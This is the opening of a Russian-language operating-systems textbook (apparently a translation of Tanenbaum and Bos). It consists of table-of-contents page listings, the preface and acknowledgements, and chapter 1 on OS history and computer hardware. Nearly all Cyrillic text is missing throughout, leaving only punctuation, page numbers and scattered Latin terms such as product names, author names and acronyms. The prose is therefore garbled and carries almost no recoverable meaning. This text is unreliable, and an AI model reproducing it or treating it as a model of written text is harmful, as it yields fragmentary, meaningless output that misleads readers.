7.9. . . . . . . . . . . . . . . .
7.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.11.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12. : VMWARE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.1. VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.2. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.3. x86 . . . . . . . . . . . . . . . . . .
7.12.4. VMware Workstation: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.5. VMware Workstation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.12.6. ESX-: VMware . . . . . . . . . . . . . . . . . .
7.13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
529
530
533
535
536
539
540
543
545
546
547
548
549
550
551
551
552
553
554
554
555
556
556
558
559
560
570
571
573
573
8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . 579
8.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . 591
12
8.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.3. . . . . . . . . . . . . . . . . .
8.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.5. . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.4.3. . . . . . . . . . . . . . . .
8.4.4. . . . . . . . .
8.4.5. , . . . . . . . . . . . .
8.4.6. , . . . . .
8.5. . . . . . . . . . . . . . . . . . . . . . . . . . . .
8.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
595
600
607
608
612
615
619
621
626
627
630
633
636
640
641
646
648
651
652
653
9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
9.1. , . . . . . . .
9.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.2. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.6.5. . . . . . . . . . . . . . . . . . .
9.6.6. . . . . . . . . . . . . . . . .
661
662
665
665
666
667
669
669
671
674
677
679
682
686
687
688
689
689
691
693
695
697
698
700
700
703
9.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.1. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.4. , . . . . . . . . . . . . . . . . . .
9.7.5. , . . . . . . . . . . . . . .
9.7.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.7.7 , . . . . . . . . .
9.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.9.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.5. . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.10.7. Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
706
708
717
720
721
722
723
724
725
725
726
727
728
731
733
743
745
749
754
754
756
763
764
765
767
771
773
775
776
785
785
786
787
788
789
790
791
794
794
795
797
800
802
804
805
807
811
818
823
14
10.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.4.4. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.3. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.4. - Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.5.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6. UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.6.4. NFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.7.3. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.1. Android Google . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.2. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.4. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.5. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.6. Dalvik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.7. Binder IPC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.8. Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.8.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
826
826
829
830
837
840
840
841
843
844
847
848
848
853
857
866
872
872
875
875
876
877
878
881
883
885
888
890
898
909
911
912
918
923
924
931
932
933
933
936
937
938
942
946
950
952
952
968
970
980
15
1058
1058
1060
1062
1062
1064
1068
1071
1071
1075
1076
1077
1079
1080
1081
1082
1083
1089
1089
1090
1091
1094
1095
1095
1096
16
12.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6. . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.3. . . . . . . . . . . . .
12.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1097
1097
1098
1100
1101
1102
1102
1103
1103
1104
1105
1105
1106
1106
13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110
13.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.10. 1: Unix, Linux Android . . . . . . . . . . . . . . . . . .
13.1.11. 2: Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . .
13.1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1110
1110
1111
1111
1112
1112
1113
1114
1114
1115
1117
1118
1118
1119
.
, . , , ,
. , Windows Vista,
, Vista Microsoft . , Symbian,
, . Vista Windows 8, Symbian Android. ,
.
.
1 ,
.
2 .
, ,
.
3 MULTICS.
4 -,
, (-).
, RAID-, RAID- 6.
5 .
, - -, , , .
6 . ,
, .
7 .
. VMware.
8 .
,
. .
9 , . ,
.
18
, NX- ,
, .
10 . ,
Unix Linux,
, Android,
.
11 Windows Vista. , Windows 8, Windows 8.1. .
12 13 .
13 .
, 223 , .
, , ,
, .
.
( ) www.pearsonhighered.com/tanenbaum. ,
PowerPoint, , , , . , , .
.
,
. UNIX , ,
. , ,
.
(Tracy Johnson) , , ,
, , . ,
(Camille Trentacoste). . .
(Carole Snyder).
7, VMware ( 7.12),
(Edouard Bugnion) ().
VMware
. .
(Ada Gavrilovska) , Linux, 10 ,
. Android 10
(Dianne Hackborn) Google.
Android, ,
19
. 10
, UNIX, Linux Android
. , ,
.
.
, Windows. 11 (Dave Probert) Microsoft.
Windows 8.1.
Windows, ,
, Microsoft
, , . Windows , , .
.
.
, .
(Trudy Levine), (Shivakant Mishra), (Krishna Sivalingam) . PowerPoint-
, .
, ( ) ()
. ,
.
. ,
, .
, , , - .
, , , ,
. , , , , ,
.
. (Andrew S. Tanenbaum)
, .
, , , , ,
. Minecraft.
(Herbert Bos)
20
, ,
comp@piter.com ( , ).
!
- http://www.piter.com
.
.
.
(Vrije) (). (Advanced
School for Computing and Imaging), , .
(Royal
Netherlands Academy of Arts and Sciences), , ,
. ,
(European Research Council Advanced Grant).
, ,
.
.
175 ,
. ,
, 20 , , .
163 ( + ).
, MINIX, UNIX.
Linux , Linux. MINIX,
MINIX 3,
.
, , , .
MINIX 3 , ,
.
, www.minix3.org.
x86, ARM.
, , .
. - -.
(Association for
Computing Machinery ACM),
21
1.
,
, , , , , ,
-. .
, , , .
,
.
,
, ,
.
.
, Windows, Linux, FreeBSD Max OS X,
. , , , , (Graphical User Interface (GUI)),
, ,
.
. 1.1.
. ,
, , , .
.
: . ,
( ).
,
.
,
. , , ,
,
- (Input/Output I/O).
.
.
GUI
, , , -,
.
.
23
. 1.1.
. 1.1.
.
( ) : ,
, , ,
,
.
( ) (, , Java,
, ).
, ,
. , ,
.
, ,
. ,
, (, ), .
. , , , , , ,
, , , .
( ) . ,
. Linux Windows 5 .
, 5
50 1000 (
). , 100 , . ,
24
1.
: .
, .
Windows 70 ( ,
1020 ), (,
Windows Explorer, Windows Media Player . .).
, ,
, , , .
. Windows 95/98/Me
, Windows NT/2000/XP/Vista/
Windows 7 . ,
Microsoft , Windows 2000/XP/
Vista/Windows 7 , ,
Windows 98. Microsoft ,
Windows 98, , 11
Windows.
, ,
UNIX, . ,
, System V, Solaris FreeBSD.
Linux , UNIX
. , UNIX, , Linux
10.
,
, , , ,
, .
.
1.1. ?
. ,
, ,
.
,
: ( ,
)
. ,
, .
.
1.1.1.
( , , )
, -. , -
1.1. ?
25
26
1.
. 1.2.
, .
, Windows .
,
Windows , .
Linux, Gnome KDE,
, Linux, X Window System,
.
, , . ,
.
1.1.2.
, , . , , ,
.
, , , , , , . ,
, -
, .
. , , ,
,
.
1, 2,
3 . . .
-
1.2.
27
, .
,
, , ,
, ,
( ) .
( ) ,
, -
, .
,
, (, . .). , ,
, ,
, .
() : .
,
: , . . ,
, ,
, , ,
,
, , , . ,
, .
.
, , .
.
- .
, , (,
). ,
,
, ,
. ,
, . .,
. .
, .
, ,
.
1.2.
.
.
28
1.
, . ,
,
.
,
, - .
(Charles Babbage, 17921871). ,
. ,
. , .
: ,
,
(Ada Lovelace),
. , Ada
.
1.2.1. (19451955):
, . (John
Atanasoff) (Clifford Berry)
, . 300 .
(Konrad Zuse) Z3 ,
. 1944 (
) () , (Howard Aiken) I,
(William Mauchley) (J. Presper Eckert) .
, ,
,
.
, , , ( , ). ,
, , . ( ) .
.
,
, ,
,
20 . ,
1.2.
29
,
,
.
1950- , .
, .
1.2.2. (19551965):
1950-
. , , ,
. , , , .
, ,
, . ,
,
. ( ),
( ), .
,
, .
- ,
,
, .
, , .
,
.
.
, ,
. . , ( )
, () , IBM 1401,
, ,
.
, , IBM 7094, . . 1.3.
,
, .
30
1.
(
), .
, , .
, .
, ,
IBM 1401 (
).
. 1.4. $JOB,
, . $FORTRAN,
. 1.4. FMS
1.2.
31
.
, , $LOAD,
. ( ,
,
.) $RUN,
,
. , $END .
.
,
, . ,
FMS (Fortran Monitor System) IBSYS ( , IBM IBM 7094).
1.2.3. (19651980):
1960- , . , IBM 7094,
,
,
IBM 1401,
.
. ,
,
,
, .
IBM ,
IBM System/360. - , , IBM 1401,
, IBM 7094.
( , , - . .).
, ,
, , , . (,
(Yogi Berra): ,
.) 360-
( ), ,
.
IBM, , 360- ,
, 370, 4300,
32
1.
1.2.
33
80 90 % ,
- .
, , (. 1.5).
-,
. ,
100 % .
. 360-
.
. 1.5.
,
.
. , (spooling , Simultaneous Peripheral
Operation On Line,
), .
1401- , .
, . ,
.
,
, , .
.
,
. , , ,
34
1.
, ,
. , ,
(, 1) ,
(, ), .
, .
CTSS (Compatible Time Sharing System)
(M.I.T.) IBM
7094 (Corbato et al., 1962).
,
.
CTSS ,
Bell Labs General Electric (
)
, .
. ,
, . , MULTICS (MULTiplexed Information and
Computing Service ),
,
. ,
, GEE645,
1000 - 40 , . .
MULTICS .
, , Intel 386,
- . ,
,
, . ,
MULTICS .
, PL/I, PL/I ,
.
, MULTICS ,
XIX .
, MULTICS ,
, . Bell Labs
, General Electric
.
1
,
. . .
1.2.
35
.
Honeywell, General Electric,
80 . , MULTICS . General Motors, Ford
MULTICS 1990- ,
30
Honeywell .
XX ,
,
( , ) , ,
,
. , ,
,
, .
, , , , .
MULTICS.
, MULTICS ( UNIX ,
FreeBSD, Linux, IOS Android).
(Corbato et al., 1972; Corbato and Vyssotsky, 1965; Daley end Dennis, 1968; Organick, 1972;
Saltzer, 1974). MULTICS - www.
multicians.org, ,
.
-,
DEC PDP-1. PDP-1 ,
4 18- , 120 . (
5 % IBM 7094) . , IBM 7094,
. PDP ( IBM,
), PDP-11.
(Ken Thompson), Bell Labs,
MULTICS, - PDP-7,
,
MULTICS. UNIX,
,
. UNIX
(, Salus, 1994). 10.
, - () ,
. : System V AT&T BSD
36
1.
1.2.4. ( 1980 ):
(LSI, Large Scale Integration) ,
.
( ) - PDP-11, , ,
. -
, .
1974 , Intel Intel 8080
8- , , .
Intel
(Gary Kildall).
1.2.
37
8- ,
Shugart Associates, Intel 8080.
. , CP/M (Control Program for Microcomputers
).
CP/M, Intel , ,
.
Digital Research CP/M.
1977 Digital Research CP/M,
Intel 8080 Zilog Z80,
. ,
CP/M,
5 .
1980- IBM IBM PC (Personal Computer )1 .
IBM ,
. , , IBM PC.
Digital Research, .
IBM, .
, ,
IBM PC, .
IBM .
, , Seattle Computer Products, DOS (Disk
Operating System ).
DOS ( $50 000),
Seattle Computer Products .
DOS/BASIC, IBM. IBM ,
(Tim Paterson), , DOS Microsoft .
MS-DOS (MicroSoft Disk Operating System) IBM PC.
( , ) MS-DOS
CP/M ( , ).
1983 IBM PC/AT ( IBM PC) Intel 80286, MS-DOS
, CP/M . MS-DOS
80386 80486. 1
, IBM PC
, PC Personal
Computer ( , ) . PC . . .
38
1.
MS-DOS ,
,
UNIX. ( Microsoft UNIX
XENIX.)
CP/M, MS-DOS
, .
, 1960-
(Doug Engelbart) - (Stanford Research
Institute), . (GUI, Graphical User Interface) , ,
. Xerox PARC
.
(Steve Jobs), Apple,
, PARC, GUI
, Xerox.
Apple, . Lisa,
. , Apple
Macintosh, , ,
Lisa, , ,
,
- . Macintosh -,
, . 1999
Apple , Mach, BSD
UNIX. Mac OS X ,
UNIX, .
Microsoft MS-DOS, Macintosh. Windows, MS-DOS (
, ). 10 ,
1985 1995 , Windows ,
MS-DOS. 1995 Windows
Windows 95.
, MS-DOS ,
, MS-DOS. 1998
, Windows 98. , Windows 95 Windows 98,
, 16-
Intel.
Microsoft Windows NT (NT New
Technology ),
Windows 95.
32- . Windows NT (David
1.2.
39
40
1.
x86 , ,
8086, 1970- . AMD Intel , :
32- 64-,
, . .
, 8086,
35 . , ,
, 32- 64-
x86-32 x86-64.
FreeBSD UNIX,
BSD . Macintosh FreeBSD (OS X). UNIX
, RISC-.
,
iOS 7 Android.
UNIX, , , UNIX-
X Window System ( X11),
. , , ,
, . X11
, Gnome KDE, UNIX , -
Macintosh Microsoft Windows.
1980- ,
(Tanenbaum and Van Steen, 2007).
.
( ).
. ,
,
, ,
.
,
.
, ,
.
,
, -
1.2.
41
. ,
,
, . , ( )
,
. ,
.
1.2.5. ( 1990 ):
1940- , ,
,
. 1946 ,
40 . ,
.
- 1970- 1 . .
.
90 % .
,
. , ,
, - . ,
, -,
, .
1970- , 1990- , Nokia N9000,
: . 1997 Ericsson
GS88 Penelope .
, , ,
, .
Google Android, Apple iOS, .
: -
.
Symbian OS.
, Samsung, Sony Ericsson, Motorola Nokia. Symbian
, RIM Blackberry OS (
2002 ) Apple iOS ( iPhone 2007 ).
, RIM -, iOS . Symbian .
2011 Nokia Symbian
42
1.
1.3.
, . .
,
, ,
. ,
.
,
.
,
. 1.6. ,
- , .
, .
. 1.6.
1.3.
43
.
,
. ,
, . .
(Tanenbaum, 2012; Patterson and Hennessy, 2013).
1.3.1.
.
. : , ,
, , . , .
.
,
. x86 , ARM-, , , ,
x86.
, ,
. , ,
. ,
,
.
,
,
, . , ,
. ,
.
, , . ( )
, , .
,
, .
PSW (Program Status
Word). ,
, ,
( ) .
PSW ,
. PSW
-.
.
44
1.
, .
,
.
,
.
. , ,
, n n + 1 n + 2.
. . 1.7,
. .
, ,
,
.
, .
. 1.7. : ;
, . 1.7, . ,
: ,
, .
, , .
, ,
1.3.
45
, , , .
.
,
, . ,
,
.
, ,
, , :
( ).
PSW.
.
, .
, .
, . ,
, - . , ,
PSW.
,
. TRAP
.
, , .
,
,
. , : read.
, ,
.
,
.
, , .
.
(,
). , , ,
, .
1.3.2.
,
18 . , ,
46
1.
1.3.
47
. 1.8. : - (L2);
- L2
1.3.3.
.
( ,
, ), .
,
. (. 1.9).
,
, ,
.
. 1.9. .
48
1.
.
, , .
, . 32 32 32-
64 64 64-. 1 .
( , ),
.
-, . -, 64 , 0
63 - 0, 64 127 - 1 . .
- , .
, ,
-. ,
- (cache hit -), -
. . -
, .
- - . ,
.
, .
, -
, , . . , ( ) ,
.
/home/ast/projects/minix3/src/kernel/clock.c ,
, ,
. ,
- (URL) (IP-).
.
.
1. ?
2. ?
3. , ?
4.
?
. ,
- , , . -
,
1.3.
49
. , 4096 - 64 32-
6- 17- -, 0-
5- -. ,
, , ,
. , - ( ),
, , ,
.
, -. ,
L1,
.
L1 , .
L1 16 . -, L2 .
- L1 L2 .
,
.
,
-. . 1.8, L2,
.
Intel. . 1.8, - L2.
AMD.
. , - L2 Intel
-, AMD
- L2 .
, . 1.9, . .
(), (Random Access Memory (RAM)). core memory
, 19501960- .
, .
, . , -,
.
(), , (Read
Only Memory (ROM)).
, .
- . . ,
. ,
, -.
50
1.
, , (), EEPROM
(Electrically Erasable PROM), -. , ,
, .
.
-
. ,
. -
. , , -
, .
CMOS-, .
CMOS- . CMOS- , , ( ),
,
. CMOS- , ,
, . CMOS , , -,
. ,
, , .
1.3.4.
() .
, , .
,
. , ,
. 1.10.
,
5400, 7200, 10 800 . ,
33 . . ,
.
.
, 512
. ,
. 1 .
5 10
.
1.3.
51
. 1.10.
, , .
5 10
. 50 / (
) 160 / ( ).
, , SSD (Solid State Disks).
, , -.
, ,
.
, .
3. , ,
.
, , , , . ,
(Memory Management Unit (MMU)), (. . 1.6).
MMU . ,
,
(context switch),
- MMU.
, .
.
1.3.5. -
, . -
52
1.
. . 1.6 , -
: .
, . ,
, .
,
( ) . , 11 206 2. ,
, . ,
, ,
. ,
, , .
, ,
, .
.
,
.
. , , -, , -, .
, , , SATA-
SATA-. SATA Serial ATA ( ATA),
ATA, , AT-. ,
AT,
IBM Personal Computer Advanced Technology ( , ),
80286, 6 1984 . ,
. , , ,
advanced (, ), ,
30 .
SATA . ,
,
.
, . ,
, ,
. .
,
OS X, Windows 7, Windows 8 Linux.
1.3.
53
,
. -
, Linux Windows. -
. , MINIX 3.
, .
. ,
.
UNIX- . :
, , , .
. Windows.
,
. ,
. ,
1,
USB IEEE 1394, .
.
,
, ,
( ). ,
,
. -, 5.
( , ), ,
. -
-,
, (,
).
- (I/O port space), . - (
IN OUT), . -,
.
, . .
1
,
. . .
54
1.
.
,
. -. , (
).
- ( ) , ,
. .
, ,
.
, (
). .
, , . ,
, .
, . . 1.11, -.
, .
. , ,
,
. , (
,
), ,
.
, ,
(
).
. 1.11. : a - ;
( ,
)
1.3.
55
, , ,
.
,
. . ( ,
) ,
,
.
. . 1.11, .
-
(Direct Memory Access (DMA)),
.
